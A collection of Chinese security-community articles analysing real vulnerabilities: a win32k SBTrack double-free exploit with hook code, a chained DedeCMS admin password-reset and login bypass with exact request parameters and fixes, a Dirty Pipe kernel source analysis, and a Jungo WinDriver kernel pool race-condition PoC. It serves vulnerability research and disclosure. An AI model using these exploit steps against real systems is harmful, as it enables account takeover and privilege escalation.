HOOK KernelCallbackTable->注册窗口类，WNDCLASSEXW.cbWndExtra设置为4->产生主窗口
->以主窗口作为父窗口产生一个滚动条窗口SrollBar->发送WM_LBUTTONDOWN消息->系统处理消息初始化SBTrack结构并开始循环->发生fnDWORD回调，fnDWORD回调中销毁主窗口->销毁主窗口，释放扩展字节xxxClientFreeWindowClassExtraBytes->xxxClientFreeWindowClassExtraBytes系统调用回调fnClientFreeWindowClassExtraBytesCallBack->fnClientFreeWindowClassExtraBytesCallBack
HOOK中调用NtUserSetWindowFNID更改掉窗口FNID->创建新窗口并调用SetCapture设置新窗口为捕获窗口->xxxSBLoop返回后解除主窗口引用->由于这是主窗口唯一的一个引用，这次解除导致彻底释放主窗口对象，xxxFreeWindow函数执行->由于主窗口对象的FNID已经被更改，xxxFreeWindow函数执行过程中将再一次回到用户态->用户态向新窗口发送WM_CANCELMODE消息->系统处理WM_CANCELMODE消息，释放了SBTrack->流程返回到内核继续执行xxxSBTrackInit函数最后的释放SBTrack->重复释放SBTrack！
值得说明的一点是：在上面这个流程中，完全跟sysShadow窗口没有关系，自然也跟本不需要HOOK __fnINLPCREATESTRUCT回调。
下面看一下具体代码实现：
首先，我们设置一下回调HOOK，这里就直接用fs来获取PEB了：
创建主窗口及ScrollBar:
WNDCLASSEXW wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = DefWindowProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 4; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_CVE8453)); wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wcex.lpszMenuName = NULL; wcex.lpszClassName = L"WNDCLASSMAIN"; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
RegisterClassExW(&wcex); hMainWND = CreateWindowW(L"WNDCLASSMAIN", L"CVE", WS_DISABLED , 2, 2, 4, 3,nullptr, nullptr, hInstance, nullptr);
hSBWND = CreateWindowEx(0, L"ScrollBar", L"SB", WS_CHILD | WS_VISIBLE | SBS_HORZ, 0, 0, 3, 3, hMainWND, NULL, hInstance, NULL); 之后发送WM_LBUTTONDOWN消息： bMSGSENT = TRUE; SendMessage(hSBWND, WM_LBUTTONDOWN, 0, 0x00020002);
这将导致系统初始化SBTrack并开始循环。这导致系统回调fnDWORD:
void fnDWORDCallBack(PDWORD msg) { if (*msg) { HWND hCurrentDestroyWND = (HWND)*((DWORD*)(*msg)); memset(ClassName, 0, 0x10); GetClassNameA(hCurrentDestroyWND, ClassName, 0xF); if (!strcmp(ClassName, "ScrollBar")) { if (bMSGSENT) { bMSGSENT = FALSE; DestroyWindow(hMainWND); } } } fnDWORD(msg);}
由于在运行过程中，DWORD回调会执行很多次，所以我们加一个全局变量bMSGSENT来控制。在系统执行DestroyWindow时，由于已经预留了扩展字节，所以会回调到用户HOOK：
void fnClientFreeWindowClassExtraBytesCallBack(PDWORD msg) {
if ((HWND)*(msg + 3) == hMainWND) { hSBWNDnew = CreateWindowEx(0, L"ScrollBar", L"SB", SB_HORZ, 0,0, 0, 0, NULL, NULL, NULL, NULL); SetWindowFNID(hMainWND, 0x2A1); SetCapture(hSBWNDnew); } fnClientFreeWindowClassExtraBytes(msg);}
我们在fnClientFreeWindowClassExtraBytes回调中，直接设置FNID。由于后面还有捕获窗口的检查，所以我们一并创建窗口并且设置为捕获窗口。当流程回到系统后，发现捕获窗口已经改变，退出了xxxSBTrackLoop函数并开始释放SBTrack内存空间，在解除对主窗口的引用时，会导致调用xxxFreeWindow释放主窗口内存对象，由于我们已经改变了FNID，所以再次回到用户态。此时消息为0x70:
所以在fnDWORD中，判断消息：
if ((*(msg + 1) == 0x70) && (hCurrentDestroyWND == hMainWND)) { SendMessage(hSBWNDnew, WM_CANCELMODE, 0, 0); }}
WM_CANCELMODE将导致SBTrack被释放，从用户态返回后，xxxSBTrack继续释放SBTrack将导致重复释放！
最后：非常感谢leeqwind的帮助！在分析过程中给了很大的帮助！再次感谢！极力推荐他的博客：<https://xiaodaozhi.com/>
* * * | 社区文章 |
作者：LoRexxar'@知道创宇404实验室
#### 0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统，在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长足的发展和进步，DedeCms免费版的主要目标用户锁定在个人站长，功能更专注于个人网站或中小型门户的构建，当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日， 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节[2]。
2018年1月10日，Seebug漏洞平台[3]收录该漏洞，漏洞编号为SSV-97074，知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日，阿里先知平台公开了一个任意用户登陆漏洞[4][5]，和一个安全隐患[6]，通过组合漏洞，导致后台密码可以被修改。
2018年1月18日，知道创宇404漏洞应急团队成功复现该漏洞。
#### 0x02 漏洞简述
整个漏洞利用链包括3个过程：
1. 前台任意用户密码修改漏洞
2. 前台任意用户登陆漏洞
3. 前台管理员密码修改可影响后台的安全隐患
通过3个问题连起来，我们可以重置后台admin密码，如果我们获得了后台地址，就可以进一步登陆后台进行下一步攻击。
##### 1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断，再加上在设置初始值时使用了NULL作为默认填充，导致可以使用弱类型判断的漏洞来绕过判断。
漏洞利用有几个限制：
1. 漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
2. admin账户的前后台密码不一致，无法修改后台密码。
3. 漏洞只影响未设置密保问题的账户
##### 2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题，通过一个特殊的机制，我们可以获得任意通过后台加密过的cookie，通过这个cookie我们可以绕过登陆，实现任意用户登陆。
漏洞利用有一个限制：
如果后台开启了账户注册审核，那就必须等待审核通过才能进行下一步利用。
##### 3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中，admin被设置为不可从前台登陆，但是当后台登陆admin账户的时候，前台同样会登陆管理员账户。
而且在前台的修改密码接口，如果提供了旧密码，admin同样可以修改密码，并且这里修改密码会同步给后台账户。
通过3个漏洞配合，我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码，前台任意用户登录漏洞->登陆admin账户，通过刚才修改的admin密码，来重置admin账户密码。
#### 0x03 漏洞复现
##### 1、 登陆admin前台账户
安装DeDeCMS
注册用户名为000001的账户
由于是本地复现漏洞，所以我们直接从数据库中修改为审核通过
访问
http://your_website/member/index.php?uid=0000001
获取cookie中`last_vid_ckMd5`值，设置`DeDeUserID_ckMd5`为刚才获取的值，并设置`DedeUserID`为0000001
访问
http://your_website/member/
##### 2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
http://yourwebsite/member/resetpassword.php
dopost=safequestion&safequestion=0.0&safeanswer=&id=1
从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
直接访问该链接，修改新密码
成功修改登陆admin密码
##### 3、修改后台密码
访问
http://yourwebsite/member/edit_baseinfo.php
使用刚才修改的密码再次修改密码
成功登陆
#### 0x04 代码分析
##### 1、 前台任意用户登陆
在分析漏洞之前，我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
通过GetCookie函数从`DedeUserID`取到了明文的M_ID，通过`intval`转化之后，直接从数据库中读取该id对应的用户数据。
让我们来看看`GetCookie`函数
/include/helpers/cookie.helper.php 56行
这里的`cfg_cookie_encode`是未知的，DeDeCMS通过这种加盐的方式，来保证cookie只能是服务端设置的，所以我们没办法通过自己设置cookie来登陆其他账户。
这里我们需要从别的地方获取这个加密后的值。
/member/index.php 161行
161行存在一段特殊的代码，这段代码是用来更新最新的访客记录的，当`last_vid`没有设置的时候，会把`userid`更新到这个变量中，更新到flag中。
而这里的`userid`就是注册时的用户名（如果不是已存在的用户名的话，会因为用户不存在无法访问这个页面）。
通过这种方式，我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册`userid`为形似00001或者1aaa这样的用户，在获取登陆状态时，`mid`会经过`intval`的转化变为1，我们就成功的登陆到admin的账户下。
ps：该漏洞影响所有用户
##### 2、前台任意用户密码修改
漏洞主要逻辑在 `/member/resetpassword.php` 75行至95行
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对，当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL（admin默认没有设置安全问题）
下面是设置了安全问题时数据库的样子，safequestion代表问题的id，safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入`0.0`就可以绕过这里，然后`0.0 == 0`为True，第二个判断`NULL==""`为True，成功进入sn函数。
跟入`/member/inc/inc_pwd_functions.php` 第150行
有效时间10分钟，进入newmail函数
跟入`/member/inc/inc_pwd_functions.php` 第73行
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码，所以直接进入94行，将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接，进入修改密码流程
唯一存在问题的是，这里`&`错误的经过一次编码，所以这里我们只能手动从流量中抓到这个链接，访问修改密码。
##### 3、修改后台密码安全隐患
在DeDeCMS的代码中，专门对前台修改管理员密码做了设置，如果是管理员，则一并更新后台密码，也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
#### 0x05 修复方案
截至该文章完成时，DeDeCMS的官方仍然没有修复该漏洞，所以需要采用临时修复方案，等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞，但官方仍然没有公开补丁，所以只能从一定程度上减小各个漏洞的影响。
* 前台任意用户登陆漏洞：开启新用户注册审核，当发现userid为1xxxx或1时，不予以 通过审核。
在官方更新正式补丁之前，可以尝试暂时注释该部分代码，以避免更大的安全隐患
/member/index.php 161-162行
* 前台修改后台管理员密码：设置较为复杂的后台地址，如果后台地址不可发现，则无法登陆后台。
* 前台任意用户密码修改漏洞：
修改文件`/member/resetpassword.php` 第84行
将其中的==修改为===
即可临时防护该该漏洞。
#### 0x06 ref
[1] DeDeCMS官网
<http://www.dedecms.com/>
[2] 漏洞详情原文
<https://mp.weixin.qq.com/s/2ULQj2risPKzskX32WRMeg>
[3] Seebug漏洞平台
<https://www.seebug.org/vuldb/ssvid-97074>
[4] 阿里先知平台漏洞分析1
<https://xianzhi.aliyun.com/forum/topic/1959>
[5] 阿里先知平台漏洞分析2
<https://xianzhi.aliyun.com/forum/topic/1961>
[6] 漏洞最早分析原文
<http://www.cnblogs.com/iamstudy/articles/dedecms_old_version_method.html>
* * * | 社区文章 |
# 漏洞成因
* pipe维护了一个`struct pipe_buffer`的数组，每个pipe_buffer指向一个page，page里存的就是pipe的数据
* 正常情况下，往pipe里写数据时会申请一个page，把数据拷贝到page里后再让pipe_buffer指向这个page。splice系统调用实现了一种零拷贝的技术，直接让pipe_buffer指向这个原始的数据page，这样就省去了内存拷贝的过程，提升效率
* 往pipe里写数据时不可能每次都正好是page_size的整数倍，如果每次写数据都要重新分配一个新的page来存，必然会造成空间的浪费。但是如果pipe_buffer的`PIPE_BUF_FLAG_CAN_MERGE`flag被置位，数据就会接着上一次的数据在同一个page中写入，而不是申请新的page，减少了空间的浪费
* 但是splice在给pipe_buffer赋值时没有初始化flag，这就造成之前被置位的`PIPE_BUF_FLAG_CAN_MERGE`flag不会被清除，所以只要先让所有的pipe_buffer的`PIPE_BUF_FLAG_CAN_MERGE`flag被置位，然后调用splice让pipe_buffer指向目标文件page cache，这时再向pipe里写数据就会直接修改page cache里的内容，造成任意文件覆盖漏洞
# 源码分析
以下源码来自[Linux5.8.1](https://elixir.bootlin.com/linux/v5.8.1/source)
## pipe
### 关键数据结构
#### pipe_inode_info
/**
* struct pipe_inode_info - a linux kernel pipe
* @mutex: mutex protecting the whole thing
* @rd_wait: reader wait point in case of empty pipe
* @wr_wait: writer wait point in case of full pipe
* @head: The point of buffer production
* @tail: The point of buffer consumption
* @note_loss: The next read() should insert a data-lost message
* @max_usage: The maximum number of slots that may be used in the ring
* @ring_size: total number of buffers (should be a power of 2)
* @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
* @tmp_page: cached released page
* @readers: number of current readers of this pipe
* @writers: number of current writers of this pipe
* @files: number of struct file referring this pipe (protected by ->i_lock)
* @r_counter: reader counter
* @w_counter: writer counter
* @fasync_readers: reader side fasync
* @fasync_writers: writer side fasync
* @bufs: the circular array of pipe buffers
* @user: the user who created this pipe
* @watch_queue: If this pipe is a watch_queue, this is the stuff for that
**/
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};
其中bufs是一个`struct
pipe_buffer`的数组，默认数量为16，每个pipe_buffer能存储一个page的数据。这16个page组成一个环形缓冲区，用来存储管道里的数据。
#### pipe_buffer
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
`PIPE_BUF_FLAG_CAN_MERGE`就包含在flags字段中，它将影响page指向的内存页
### 写pipe
调用write向pipe里写数据时会经过层层调用，最终实际调用pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return 0;
__pipe_lock(pipe);
// 确保读者数量不为0
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}
#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
goto out;
}
#endif
/*
* Only wake up if the pipe started out empty, since
* otherwise there should be no readers waiting.
*
* If it wasn't empty we try to merge new data into
* the last buffer.
*
* That naturally merges small writes, but it also
* page-aligs the rest of the writes for large writes
* spanning multiple pages.
*/
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1); // 要写入的数据的大小相对页帧大小的余数
// 如果余数不为0，且pipe不为空
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
// 当前头部的上一个缓冲区，因为要尝试将多余的数据与之前的数据合并
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
// 如果PIPE_BUF_FLAG_CAN_MERGE被置位，且buf能容下chars大小的数据
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
// 将chars大小的数据写入缓冲区
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
// 如果没有其余数据需要写入，则退出
if (!iov_iter_count(from))
goto out;
}
}
for (;;) {
// 确保对着数量不为0
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
head = pipe->head;
// 如果pipe没被填满
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page; // tmp_page用来临时存数据
int copied;
// 如果tmp_page还未分配，则用alloc_page分配一个page并赋值
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* Allocate a slot in the ring in advance and attach an
* empty buffer. If we fault or otherwise fail to use
* it, either the reader will consume it or it'll still
* be there for the next write.
*/
// 自旋锁锁住读者等待队列
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
// 如果pipe已经被填满则进入下一次循环
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
// 先让头部指针指向下一个缓冲区
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);// 释放自旋锁
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page; //将之前分配的tmp_page赋值给buf->page
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
// 如果创建pipe时没有指定O_DIRECT选项，则将flags设置为PIPE_BUF_FLAG_CAN_MERGE
// 所以只要创建pipe时不指定flags，就能将buffer的PIPE_BUF_FLAG_CAN_MERGE置位
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL; // tmp_page置空
// 拷贝一页大小的数据到page里
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from))
break;
}
......
}
## splice
splice系统调用主要由do_splice函数完成，do_splice根据输入的文件描述符进入不同的分支，在本次漏洞利用中因为in是普通文件，out是pipe，所以会进入`if
(opipe)`这个分支
/*
* Determine where to splice to/from.
*/
long do_splice(struct file *in, loff_t __user *off_in,
struct file *out, loff_t __user *off_out,
size_t len, unsigned int flags)
{
struct pipe_inode_info *ipipe;
struct pipe_inode_info *opipe;
loff_t offset;
long ret;
if (unlikely(!(in->f_mode & FMODE_READ) ||
!(out->f_mode & FMODE_WRITE)))
return -EBADF;
ipipe = get_pipe_info(in, true);
opipe = get_pipe_info(out, true);
// in和out都是pipe
if (ipipe && opipe) {
......
}
// 只有in是pipe
if (ipipe) {
......
}
// 只有out是pipe
if (opipe) {
// 处理in和out的偏移
if (off_out)
return -ESPIPE;
if (off_in) {
if (!(in->f_mode & FMODE_PREAD))
return -EINVAL;
if (copy_from_user(&offset, off_in, sizeof(loff_t)))
return -EFAULT;
} else {
offset = in->f_pos;
}
if (out->f_flags & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
pipe_lock(opipe);
// 等待pipe有可用的缓冲区
ret = wait_for_space(opipe, flags);
if (!ret) {
unsigned int p_space;
/* Don't try to read more the pipe has space for. */
p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);// pipe可用空间
len = min_t(size_t, len, p_space << PAGE_SHIFT);// 实际读取长度不能超过pipe可用空间
ret = do_splice_to(in, &offset, opipe, len, flags); // 调用do_splice_to完成主要工作
}
pipe_unlock(opipe);
if (ret > 0)
wakeup_pipe_readers(opipe);
if (!off_in)
in->f_pos = offset;
else if (copy_to_user(off_in, &offset, sizeof(loff_t)))
ret = -EFAULT;
return ret;
}
return -EINVAL;
}
在do_splice_to中又调用了输入文件的splice_read函数，之后又经过一系列的调用，最终由copy_page_to_iter_pipe完成关联page_cage和pipe缓冲区的工作
tatic size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];
if (off) {
// 如果要求的offset和实际的offset相同，且头部的buffer指向的就是当前的page cache
// 则直接移动offset即可
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
buf->ops = &page_cache_pipe_buf_ops;
// 增加page的应用计数
get_page(page);
// 将pipe缓冲区的page指针指向文件的page cache
buf->page = page;
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
可以看到copy_page_to_iter_pipe函数直接将page
cache赋值给对应buffer的page指针，而没有对buffer的flags做初始化存在，使得之前被设置的`PIPE_BUF_FLAG_CAN_MERGE`仍然有效
# 能真正地覆盖文件内容吗
由上面的漏洞分析可知，最终完成的对page cache的覆写，而不是覆盖磁盘上的文件内容。当文件的page
cache存在时，之后读取该文件都将直接从page cache中获取，所以只要该page
cache存在，就相当于覆盖了文件内容。经测试，只要重启系统后page cache就会消失，此时再读取文件将会得到原文件内容。
但是page cache不是有writeback机制吗，只要触发该机制是不是就能将覆写后的page cache写回磁盘呢？
为了验证这个问题，我调用sync来手动触发writeback
观察程序输出结果发现，调用sync之后读取文件内容仍然是篡改过后的内容，看起来sync似乎真的把page cache里写回到了磁盘里
但当我重启系统之后发现文件内容又复原了，说明sync即没有把page
cache写回到磁盘，也没有清除缓存中的内容，相当于直接忽略了这个被篡改过的page，这是为什么呢？
经过调试发现，在向普通文件写入数据时，调用的是generic_file_write_iter函数
经过如下图所示的调用，最终会调用set_page_dirty函数将该page置为dirty状态，所以最终会被writeback机制写回到磁盘中
正如源码分析中所说的，向pipe中写入数据时调用的是pipe_write，这时我给set_page_dirty函数设置断点发现，程序之后都没有调用这个函数，这点从源码中也可以证明。
这说明当我们利用漏洞修改page
cache中的内容时，系统并没有将对应的page设置为dirty，所以这个修改对writeback机制来说是不可见的，自然会被忽略掉。
那为什么重启系统文件内容又会恢复呢？那是因为重启系统将所有的缓存都回收了，执行`echo 1 >
/proc/sys/vm/drop_caches`命令能手动回收缓存，也能将文件内容恢复
# 参考资料
[The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
[CVE-2022-0847-DirtyPipe-Exploit](https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit)
[Linux5.8.1源码](https://elixir.bootlin.com/linux/v5.8.1/source)
[CVE-2022-0847 漏洞分析](https://www.anquanke.com/post/id/269886)
[VFS源码分析-Page Cache
Writeback机制](https://www.codeleading.com/article/63761592269/) | 社区文章 |
# Jungo Windriver中的代码执行漏洞（CVE-2018-5189）分析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Fidus InfoSecurity，文章来源：fidusinfosec.com
原文地址：<https://www.fidusinfosec.com/jungo-windriver-code-execution-cve-2018-5189/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
Windows内核漏洞利用这个领域的水其实非常深，想要学习这方面知识也是非常困难的，虽然网上有很多有用的教程，但由于漏洞利用场景的不同，相关的漏洞利用技术也不一样。在这篇文章中，我将跟大家介绍我如何发现了漏洞CVE-2018-5189，并详细描述一个完整的漏洞利用开发过程。
首先，我们原计划是要找出一个已经存在已知漏洞的第三方驱动程序，然后着手针对这个漏洞来开发漏洞利用PoC。但是结果，我们在一个“已修复”版本的驱动程序中发现了一个之前从未被公开的安全漏洞。
在这篇文章中，我们将跟大家介绍发现Windows内核漏洞并实现漏洞利用加提权的整个过程。需要注意的是，对于社区已经介绍或讨论过很多遍的东西（例如简单的内核池喷射）我们在这里将不再进行赘述，不过我们会在文中和文末给大家提供一些可能会有用的参考链接。
本文所要讨论的产品是Jungo的Windriver
v12.5.1（WinDriver是制作驱动程序的好工具，该工具支持ISA,EISA,PCI,Plug&Play 和
DMA，并且可以让开发人员不需要牵涉到很底层东西的情况下在很短的时间里编出驱动程序），Steven
Seeley此前曾在Windriver旧版本中发现过安全漏洞，而我们将会参考他所写的PoC来开发出针对新版本Windriver漏洞的漏洞利用代码。在研究完他的漏洞利用代码之后，我们下载了最新版本的Windriver，并尝试从中寻找出新的“目标”。
注：我们的测试平台是Windows 7 x86虚拟机，并开启了内核调试功能。
## 静态分析
当我们在设备驱动程序中寻找漏洞时，我们首先关注的是LOCTL处理器，因为我们可以从这里追踪用户输入信息。我们可以从下图中看到，这个部分看起来有些“吓人”：
在IOCTL中，下面这个部分吸引了我们的注意力（全部调用的是相同的函数）：
在对sub_4199D8进行了逆向分析之后，我们得到了它的内部构造。它所接收的第一个数据就是我们的用户缓冲区，然后使用了一个位于偏移量0x34的值来当作调用另一个函数的参数：
sub_4199D8会接收它传递过来的值，然后在将该值传递给ExAllocatePoolWithTag之前对数据进行一些修改：
可能有些同学已经注意到了，这个函数中存在一个整形溢出问题。我们也尝试去利用这个漏洞了，而最终我们却发现了另一个问题。
首先我们回顾一下sub_4199D8中的这个循环复制：
这里的逻辑其实非常简单。从user_buff+0x38和pool_buff+0x3C开始，它会重复地每次复制10字节数据。需要注意的是，循环会拿计数器（eax）跟用户定义的大小(ebx+0x34)进行比较，这也是一种常见的循环条件。
## 漏洞利用路径
既然如此，我们就可以利用这个循环条件来让内核池缓冲区发生溢出。为了利用这个安全问题，我们需要按照下列思路进行操作：
1. 了解如何利用线程触发该漏洞；
2. 了解如何修改内核池页面，并控制溢出；
3. 了解如何通过修改来实现代码执行；
4. 最后，想办法检查我们的漏洞利用代码是否有效；
这是一种实现漏洞利用的非常好的思路，我们首先要把问题列出来，然后一一寻找相应的解决方案。那么接下来，我们先要想办法整出一个PoC来引起程序发生崩溃，然后再对内核进行调试。
请大家先考虑下面这种场景：我们有两个线程运行在两个单独的内核中，并让这两个线程共享访问一个相同的用户缓冲区（数据将提供给驱动程序）。第一个线程会持续调用驱动程序的IOCTL接口，而第二个线程将会持续修改user_buff+0x34的大小。
第二个函数相对来说比较简单：
/*
Continually flip the size
@Param user_size - a pointer to the user defined size
/
DWORD WINAPI ioctl_thread(LPVOID user_size)
{
while (TRUE)
{
(ULONG *)(user_size) ^= 0xff;
}
return 0;
}
代码会使用0xff来与user_size进行异或计算。下一个函数同样是非常简单的：
DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
char out_buff[40];
DWORD bytes_returned;
HANDLE hdevice = CreateFile(device,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
if (hdevice == INVALID_HANDLE_VALUE)
{
printf("[x] Couldn't open devicen");
}
DeviceIoControl(hdevice,
0x95382623,
user_buff,
0x1000,
out_buff,
40,
&bytes_returned,
0);
return 0;
}
接下来，我们使用CreateFile函数来控制目标设备，然后通过DeviceIoControl来调用存在安全漏洞的函数。需要注意的是，这两个线程之间会共享user_buff参数。
定义好这两个函数之后，我们现在需要想办法在不同的内核中执行它们。我们使用了Windows提供的几个功能非常强大的函数来将代码进行整合，即CreateThread、SetThreadPriority、SetThreadAffinityMask和ResumeThread。完成之后，我们得到了如下所示的代码：
int main()
{
HANDLE h_flip_thread;
HANDLE h_ioctl_thread;
DWORD mask = 0;
char *user_buff;
user_buff = (char *)VirtualAlloc(NULL,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_NOCACHE | PAGE_READWRITE);
if (user_buff == NULL)
{
printf("[x] Couldn't allocate memory for buffern");
return -1;
}
memset(user_buff, 0x41, 0x1000);
(ULONG )(user_buff + 0x34) = 0x00000041; //set the size initially to 0x41
/*
create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
Set its priority to highest.
Set its mask so that it runs on a particular core.
*/
h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_flip_thread, 0);
ResumeThread(h_flip_thread);
printf(“[+] Starting race…n”);
while (TRUE)
{
h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_ioctl_thread, 1);
ResumeThread(h_ioctl_thread);
WaitForSingleObject(h_ioctl_thread, INFINITE);
}
return 0;
}
我们的目标是开启两个并发线程，其中一个线程用于修改用户提供的大小数值，另一个线程负责执行漏洞利用代码。这样做的目的是为了让代码在分配内核池缓冲区大小时（user_buff+0x34大于原始值），维持内核的一个稳定运行状态。一开始，我认为这是非常难实现的，因为代码会在每一次迭代过程中去从用户空间获取数据。但实际上，上述代码将会触发一次错误检查（BSOD）。
内核调试功能给我们提供了Windbg，我们得到了下列错误信息：
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 86ff3488, The pool entry we were looking for within the page.
Arg3: 86ff3758, The next pool entry.
Arg4: 085a002c, (reserved)<code>
